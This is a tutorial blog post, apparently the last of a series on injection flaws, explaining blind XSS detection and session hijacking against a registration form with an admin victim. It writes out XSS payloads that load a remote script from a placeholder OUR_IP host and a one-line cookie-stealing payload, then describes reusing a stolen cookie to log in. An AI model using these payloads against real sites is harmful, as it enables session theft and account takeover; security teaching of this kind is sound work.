Unveiling the Dangers of
Injection Vulnerabilities
Part (3)

This is going to be the last blog about Unveiling Dangers of Injections blog series.
I believe I've successfully presented the ideas I intended to and shed light on the aspects I wanted to uncover. I hope I've succeeded in illustrating some hidden faces of these vulnerabilities and how their severity can escalate. In today's blog, we're still discussing XSS, but we're focusing on another attack known as Session Hijacking.

First of all, what are sessions ¯\( ͠≖ - ͡≖)/¯?

- Imagine a web session as a conversation between a user and a web application. This conversation starts when a user successfully logs in, and the web application creates a session for the user. This session is like a key that allows the user to interact with the application without repeatedly logging in.
- Modern web applications utilize Cookies to maintain a user's session throughout different browsing sessions. This enables the user to log in once and keep their logged-in session alive even if they visit the same website at another time or date. However, if a malicious user obtains the cookie data from the victim's browser, they may be able to gain logged-in access without knowing the victim's credentials.
- With the ability to execute JavaScript code on the victim's browser, we may collect their cookies and send them to our server to hijack their logged-in session by performing a ' Session Hijacking' (also known as ' Cookie Stealing') attack.

Let's take a simple scenario involving a registration form

- When we fill in the regestration informations and click Register, a pop up message appeared saying:

- In typical cases, we can test for XSS in each field of the registration form page until we trigger an alert box. However, in this scenario, we don't have access to the admin panel, so...

How can we detect an XSS vulnerability when we can't see how the output is handled?

- To achieve this, we can employ a JavaScript payload that sends an HTTP request back to our server. If the JavaScript code is executed, we'll receive a response on our machine, confirming that the page is indeed vulnerable.

However, this approach introduces two issues:

1. How can we determine which specific field is vulnerable?
- Given that any of the fields may execute our code, it's challenging to identify which one is affected.
2. How can we know what XSS payload to use?
- While the page may be vulnerable, the chosen payload might not work as expected

---

Shedding Light on Loading a Remote Script

- In HTML, we can include JavaScript code within the <script> tags. Additionally, we can load a remote script by specifying its URL, like this: <script src="http://OUR_IP/script.js"></script> This allows us to execute a remote JavaScript file served on our VM.
- To identify the vulnerable input field that executed the script, we can change the requested script name from script.js to the name of the field we're injecting into, as demonstrated below:
<script src="http://OUR_IP/username"></script> If we receive a request for /username, it indicates that the username field is vulnerable to XSS, and so on. With this knowledge, we can begin testing various XSS payloads that load a remote script and observe which of them generate requests. Here are a few examples that you can use from PayloadsAllTheThings Before we start sending payloads, we need to start a listener on our VM, using php as shown in a previous Blog : Now we can start testing these payloads one by one by using one of them for all of input fields and appending the name of the field after our IP, as mentioned earlier, like: Once we submit the form, we wait a few seconds and check our terminal to see if anything called our server. If nothing calls our server, then we can proceed to the next payload, and so on.
Once we receive a call to our server, we should note the last XSS payload we used as a working payload and note the input field name that called our server as the vulnerable input field. Once we find a working XSS payload and have identified the vulnerable input field, we can proceed to XSS exploitation and perform a Session Hijacking attack.

---

Session Hijacking

A session hijacking attack is very similar to the phishing attack we performed in the previous Blog. It requires a JavaScript payload to send us the required data and a PHP script hosted on our server to grab and parse the transmitted data.
There are multiple JavaScript payloads we can use to grab the session cookie and send it to us, as shown by PayloadsAllTheThings example: new Image().src='http://OUR_IP/index.php?c='+document.cookie;
Using this payload as example should work in sending us a cookie as it simply adds an image to the page, which may not be very malicious looking.
We can write any of these JavaScript payloads to  script.js, which will be hosted on our VM as well:

new Image().src='http://OUR_IP/index.php?c='+document.cookie

Now, we can change the URL in the XSS payload we found earlier to use  script.js

<script src=http://OUR_IP/script.js></script>

With our PHP server running, we can now use the code as part of our XSS payload, send it in the vulnerable input field, and we should get a call to our server with the cookie value. However, if there were many cookies, we may not know which cookie value belongs to which cookie header. So, we can write a PHP script to split them with a new line and write them to a file. In this case, even if multiple victims trigger the XSS exploit, we'll get all of their cookies ordered in a file.
We can save the following PHP script as  index.php, and re-run the PHP server again: Now, we wait for the victim (Admin) to visit the vulnerable page and view our XSS payload. Once they do, we will get two requests on our server, one for  script.js, which in turn will make another request with the cookie value:
As mentioned earlier, we get the cookie value right in the terminal, as we can see. However, since we prepared a PHP script, we also get the cookies.txt file with a clean log of cookies:
cat cookies.txt
Victim IP: 10.10.10.1 | Cookie: cookie=f904f93c949d19d870911bf8b05fe7b2
Finally, we can use this cookie on the login page to access the victim's account. To do so, once we navigate for example to  www.hijacking/login.php, we can click  Shift+F9 in Firefox to reveal the Storage bar in the Developer Tools.
Then, we can click on the  + button on the top right corner and add our cookie, where the Name is the part before = and the Value is the part after = from our stolen cookie: